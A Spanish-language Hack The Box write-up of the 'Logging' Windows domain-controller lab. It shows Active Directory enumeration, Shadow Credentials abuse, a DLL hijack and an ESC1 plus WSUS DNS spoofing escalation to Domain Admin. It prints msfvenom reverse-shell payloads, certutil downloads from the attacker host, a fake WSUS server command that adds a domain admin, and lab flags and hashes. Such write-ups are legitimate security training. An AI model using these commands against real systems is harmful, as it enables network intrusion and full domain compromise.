CorvusDDosKRom

Hack The Box: Logging

Medium

Logging es una máquina de nivel Medium en Hack The Box con Windows (Domain Controller) que involucra enumeración de Active Directory, abuso de Shadow Credentials sobre una Managed Service Account, DLL Hijacking mediante un servicio de monitoreo, y escalada de privilegios a través de ESC17 (ADCS + WSUS DNS Abuse).

Windows
Hack The Box
Windows Active Directory IIS WSUS ESC17 ADCS Shadow Credentials DLL Hijacking Escalada de Privilegios
Volver

Logging

Plataforma: Hack The Box

Dificultad: Medium

🔗 Link de la máquina: https://app.hackthebox.com/machines/Logging

Logging

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- -sS -sCV --min-rate 2500 -Pn -n -oN logging.txt 10.129.27.199
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-19 13:24 -0300
Nmap scan report for 10.129.27.199
Host is up (0.43s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-19 23:25:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8530/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
8531/tcp  open  ssl/unknown
| ssl-cert: Subject: commonName=DC01.logging.htb
| Subject Alternative Name: DNS:DC01.logging.htb
9389/tcp  open  mc-nmf        .NET Message Framing
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-19T23:26:52
|_  start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.44 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detecta versiones de servicios.
  • --min-rate 2500: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN logging.txt: Guarda los resultados en el archivo “logging.txt”.

Puertos descubiertos:

  • 53/tcp - DNS
  • 80/tcp - HTTP (Microsoft IIS 10.0)
  • 88/tcp - Kerberos → DC01.logging.htb
  • 135/139/445/tcp - RPC/SMB (Message signing requerido)
  • 389/636/tcp - LDAP/LDAPS → dominio logging.htb
  • 3268/3269/tcp - LDAP Global Catalog
  • 5985/tcp - WinRM
  • 8530/tcp - HTTP (Microsoft IIS 10.0) → WSUS
  • 8531/tcp - SSL → WSUS HTTPS
  • 9389/tcp - .NET Message Framing

El clock skew detectado es de +7 horas respecto al scanner. Agregamos las entradas al /etc/hosts y sincronizamos el reloj para evitar errores de autenticación Kerberos:

echo "10.129.27.199 DC01.logging.htb logging.htb" | sudo tee -a /etc/hosts
sudo ntpdate -u 10.129.27.199

Enumeración

Usuarios y Grupos (SMB/LDAP)

Con las credenciales iniciales wallace.everette / Welcome2026@ enumeramos usuarios del dominio vía SMB:

netexec smb 10.129.27.199 -u 'wallace.everette' -p 'Welcome2026@' --users

SMB Users

Usuarios encontrados:

  • Administrator
  • svc_recovery
  • jaylee.clifton
  • monique.chip
  • kyson.abel
  • fable.milford
  • wellington.kylan
  • serina.philander
  • wallace.everette
  • toby.brynleigh

Verificamos acceso WinRM — wallace.everette no tiene acceso. Continuamos enumerando grupos vía LDAP:

netexec ldap 10.129.27.199 -u 'wallace.everette' -p 'Welcome2026@' --groups

LDAP Groups 1

LDAP Groups 2

Grupos destacados:

  • IT — 1 miembro
  • HR — 1 miembro
  • Emergency Recovery — 1 miembro
  • WSUS Administrators — 0 miembros
  • WSUS Reporters — 0 miembros

La presencia de grupos relacionados con WSUS confirma que el servidor corre Windows Server Update Services en los puertos 8530/8531.

BloodHound

Recolectamos datos del dominio con BloodHound para mapear rutas de ataque:

bloodhound-python -u 'wallace.everette' -p 'Welcome2026@' -d logging.htb -ns 10.129.27.199 -c All --zip

Subimos el archivo .zip a BloodHound y analizamos los grafos.

BloodHound - Shortest Path

El análisis revela que el grupo ADMINISTRATORS tiene múltiples ACLs sobre WALLACE.EVERETTE (GenericAll, WriteDacl, GenericWrite, WriteOwner, AddKeyCredentialLink).

Analizando las ACLs sobre MSA_HEALTH$ (Managed Service Account):

BloodHound - ACLs sobre MSA_HEALTH$

El usuario SVC_RECOVERY tiene GenericAll sobre MSA_HEALTH$, lo que permite abusar de Shadow Credentials (msDS-KeyCredentialLink) para obtener el hash NT de la MSA.

BloodHound - SVC_RECOVERY

SVC_RECOVERY también tiene GenericAll sobre el grupo ADMINISTRATORS, lo que lo convierte en un objetivo de alto valor.

Ruta de ataque identificada:

wallace.everette → Logs share → svc_recovery creds → Kerberos TGT → certipy shadow → msa_health$ NT hash → evil-winrm → DLL Hijack → jaylee.clifton → ESC1 + WSUS DNS Abuse → Domain Admin

Enumeración de Shares SMB

Enumeramos los recursos compartidos disponibles con las credenciales de wallace.everette:

smbclient -L //10.129.27.199 -U 'logging.htb/wallace.everette%Welcome2026@'

SMB Shares

Shares encontrados:

  • Logs — share personalizado con archivos de log
  • WSUSTemp — confirma WSUS activo en el servidor

Accedemos al share Logs y descargamos todos los archivos:

smbclient //10.129.27.199/Logs -U 'logging.htb/wallace.everette%Welcome2026@'
smb: \> mget *

SMB Logs Download

Archivos descargados: Audit_Heartbeat.log, IdentitySync_Trace_20260219.log, Service_State.log, TaskMonitor.log.

Analizamos el archivo más grande:

cat IdentitySync_Trace_20260219.log

Encontramos credenciales en texto plano en un ConnectionContext Dump:

VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025" }
ERROR - LDAP_INVALID_CREDENTIALS

La contraseña 2025 ya expiró. El servicio rotó la contraseña anualmente, por lo que probamos con Em3rg3ncyPa$$2026.

Acceso Inicial

Autenticación como svc_recovery

svc_recovery tiene restringida la autenticación NTLM (Protected Users o restricción de workstation). Obtenemos un TGT vía Kerberos:

getTGT.py logging.htb/svc_recovery:'Em3rg3ncyPa$$2026'
export KRB5CCNAME=svc_recovery.ccache
nxc smb DC01.logging.htb -u 'svc_recovery' --use-kcache -k

SVC Recovery TGT

Autenticación Kerberos exitosa con svc_recovery.

Shadow Credentials sobre MSA_HEALTH$

Con svc_recovery (que tiene GenericAll sobre msa_health$), abusamos de Shadow Credentials usando certipy:

certipy shadow auto -u 'svc_recovery@logging.htb' -k -no-pass -account 'msa_health$' -target DC01.logging.htb -dc-ip 10.129.27.199

Shadow Credentials

certipy genera un certificado, lo agrega al atributo msDS-KeyCredentialLink de msa_health$, autentica vía PKINIT y extrae el NT hash:

NT hash de msa_health$: 603fc24ee01a9409f83c9d1d701485c5

Acceso WinRM como msa_health$

evil-winrm -i 10.129.27.199 -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'

WinRM msa_health$

User Flag

DLL Hijacking — UpdateMonitor

Enumerando el sistema encontramos C:\Program Files\UpdateMonitor\, un servicio personalizado que:

  1. Busca Settings_Update.zip en C:\ProgramData\UpdateMonitor\
  2. Extrae la DLL y la coloca en C:\Program Files\UpdateMonitor\bin\
  3. Carga y ejecuta la DLL

El directorio C:\ProgramData\UpdateMonitor\ tiene permisos de escritura para BUILTIN\Users (WD,AD,WEA,WA), por lo que podemos subir el zip.

Creamos el payload DLL (x86, ya que UpdateMonitor.exe es 32-bit):

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.52 LPORT=4444 -f dll -o Settings_Update.dll
zip Settings_Update.zip Settings_Update.dll

Subimos el zip desde evil-winrm:

cd C:\ProgramData\UpdateMonitor
upload /home/corvus/redzone/HTB/Medium/Logging/content/Settings_Update.zip

DLL Upload

Con un listener activo (nc -lvnp 4444), el servicio procesa el zip y ejecuta la DLL:

User Shell

C:\Windows\system32> whoami
logging\jaylee.clifton

Leemos la user flag:

type C:\Users\jaylee.clifton\Desktop\user.txt

User Flag

User flag: bf09cef2ee1fa19fd76828c0b1d6fb44

Escalada de Privilegios

Enumeración ADCS — Template UpdateSrv

Desde la shell de jaylee.clifton transferimos las herramientas necesarias al target:

certutil -urlcache -split -f http://10.10.16.52:9090/Certify.exe C:\Windows\Temp\Certify.exe
certutil -urlcache -split -f http://10.10.16.52:9090/Rubeus.exe C:\Windows\Temp\Rubeus.exe
certutil -urlcache -split -f http://10.10.16.52:9090/Invoke-DNSUpdate.ps1 C:\Windows\Temp\Invoke-DNSUpdate.ps1

Enumeramos templates ADCS vulnerables:

C:\Windows\Temp\Certify.exe request /ca:DC01.logging.htb\logging-DC01-CA /template:UpdateSrv /dns:wsus.logging.htb
[*] Action: Request a Certificates

[*] Current user context    : logging\jaylee.clifton
[*] No subject name specified, using current context as subject.

[*] Template                : UpdateSrv
[*] Subject                 : CN=jaylee.clifton, CN=Users, DC=logging, DC=htb

[*] Certificate Authority   : DC01.logging.htb\logging-DC01-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 7

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
(...)
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
(...)
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:04.8216161

El template UpdateSrv presenta las siguientes características críticas:

  • ENROLLEE_SUPPLIES_SUBJECT — el solicitante puede especificar Subject y SANs arbitrarios
  • Server Authentication EKU — válido para TLS server
  • IT group puede inscribirse — jaylee.clifton es miembro del grupo IT

Esto es ESC1 (ENROLLEE_SUPPLIES_SUBJECT con Server Auth EKU), explotable en conjunto con el abuso de WSUS DNS.

WSUS DNS Abuse

Configuración WSUS del DC

Verificamos que el cliente Windows Update del DC está configurado para sincronizar desde wsus.logging.htb:

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer
WUServer    REG_SZ    https://wsus.logging.htb:8531
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"

Reg Query AU

El cliente WSUS está activo y apunta a wsus.logging.htb:8531 — hostname que podemos controlar vía ADIDNS.

Agregar registro DNS

Creamos un registro ADIDNS apuntando wsus.logging.htb a nuestra IP de atacante:

powershell -ep bypass -c "Import-Module C:\Windows\Temp\Invoke-DNSUpdate.ps1; Invoke-DNSUpdate -DNSType A -DNSName wsus.logging.htb -DNSData 10.10.16.52 -Verbose"
[+] Kerberos preauthentication successful
[+] Kerberos TKEY query successful
[+] DNS update successful

Verificamos la resolución desde el DC:

nslookup wsus.logging.htb
Server:  DC01.logging.htb
Address: 10.129.27.199

Name:    wsus.logging.htb
Address: 10.10.16.52

Obtener TGT de jaylee.clifton

Para solicitar el certificado TLS con certipy necesitamos un TGT de jaylee.clifton. Lo extraemos con Rubeus directamente desde la shell:

C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap

Rubeus TGT

Guardamos el ticket en Kali y lo convertimos a ccache:

Echo base64

Ticket Convert

Solicitar certificado TLS con UPN via certipy

Con el TGT activo, solicitamos el certificado del template UpdateSrv especificando wsus.logging.htb como UPN y DNS SAN. El UPN es necesario para que el cliente WSUS acepte el certificado del servidor falso:

certipy req -u 'jaylee.clifton@logging.htb' -k -no-pass -dc-ip 10.129.27.199 \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' \
  -upn 'wsus.logging.htb' -dns 'wsus.logging.htb' \
  -target DC01.logging.htb

Certipy Request

Convertimos el PFX a PEM combinado (formato requerido por wsuks):

openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus.logging.htb.pem -nodes -passin pass:

Servidor WSUS falso con wsuks

Lanzamos wsuks como servidor WSUS falso. Al recibir la sincronización del DC, ejecutará el comando como SYSTEM via PsExec integrado — creando el usuario hacker y agregándolo a Domain Admins:

sudo wsuks --serve-only --WSUS-Server wsus.logging.htb \
  --tls-cert wsus.logging.htb.pem --WSUS-Port 8531 -I tun0 \
  -c '/accepteula /s cmd.exe /c "net user hacker Passw0rd123! /add /domain & net group \"Domain Admins\" hacker /add /domain"'

El servicio wuauserv (Windows Update) sincroniza automáticamente cada pocos minutos. wsuks recibe la conexión del cliente WSUS del DC, sirve PsExec64.exe como una “actualización” y ejecuta el comando como SYSTEM:

[+] Received POST request: .../ClientWebService/GetConfig
[+] Received POST request: .../ClientWebService/SyncUpdates
[+] Received POST request: .../ClientWebService/GetExtendedUpdateInfo
[+] Received GET request: /97f6a143-.../PsExec64.exe
[+] GET request for exe: /97f6a143-.../PsExec64.exe
[+] Received POST request: .../ReportingWebService/ReportEventBatch

wsuks

El ReportEventBatch confirma que la “actualización” fue instalada exitosamente.

Método Alternativo — Reverse Shell como SYSTEM

En lugar de crear un usuario de dominio, podemos obtener una shell interactiva como nt authority\system directamente.

Creamos el payload con msfvenom (x64):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.52 LPORT=5555 -f exe -o shell.exe

Lo subimos al target desde la shell de jaylee.clifton:

certutil -urlcache -split -f http://10.10.16.52:9090/shell.exe C:\Windows\Temp\shell.exe

Levantamos el listener y lanzamos wsuks apuntando al payload:

nc -lvnp 5555
sudo wsuks -t 10.129.27.199 --serve-only --WSUS-Server wsus.logging.htb \
  --tls-cert wsus.logging.htb.pem --WSUS-Port 8531 -I tun0 \
  -e PsExec.exe -c "/accepteula /s C:\Windows\Temp\shell.exe"

wsuks Shell

Al sincronizar el cliente WSUS, PsExec ejecuta shell.exe como SYSTEM:

SYSTEM Shell

C:\Windows\system32> whoami
nt authority\system

Root Flag

Verificamos las credenciales del nuevo Domain Admin:

nxc smb 10.129.27.199 -u 'hacker' -p 'Passw0rd123!'

NXC Hacker

Accedemos como Domain Admin via WinRM:

evil-winrm -i 10.129.27.199 -u 'hacker' -p 'Passw0rd123!'

Root Shell

Leemos la root flag:

type C:\Users\toby.brynleigh\Desktop\root.txt

Root Flag

Root flag: 0ccb7aafc00b4dbc1176925c970b65eb